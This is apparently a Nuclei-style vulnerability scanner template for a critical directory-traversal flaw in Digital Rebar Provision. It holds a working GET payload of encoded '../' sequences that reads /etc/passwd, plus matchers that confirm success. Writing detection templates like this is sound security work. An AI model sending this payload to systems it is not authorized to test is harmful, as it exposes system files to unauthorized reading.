34 lines
830 B
YAML
34 lines
830 B
YAML
id: digitalrebar-traversal
|
|
|
|
info:
|
|
name: Digital Rebar - Directory traversal
|
|
author: c-sh0
|
|
severity: critical
|
|
description: Web requests can navigate outside of DRP controlled areas - Directory traversal. Affected versions - v4.3.0, v4.3.2, v4.3.3, v4.4.0 (maybe others)
|
|
reference:
|
|
- https://docs.rackn.io/en/latest/doc/security/cve_20200924A.html
|
|
- https://docs.rackn.io/en/latest/doc/release.html
|
|
tags: lfi,rackn,digitalrebar
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'X-Drp-Sha256sum:'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|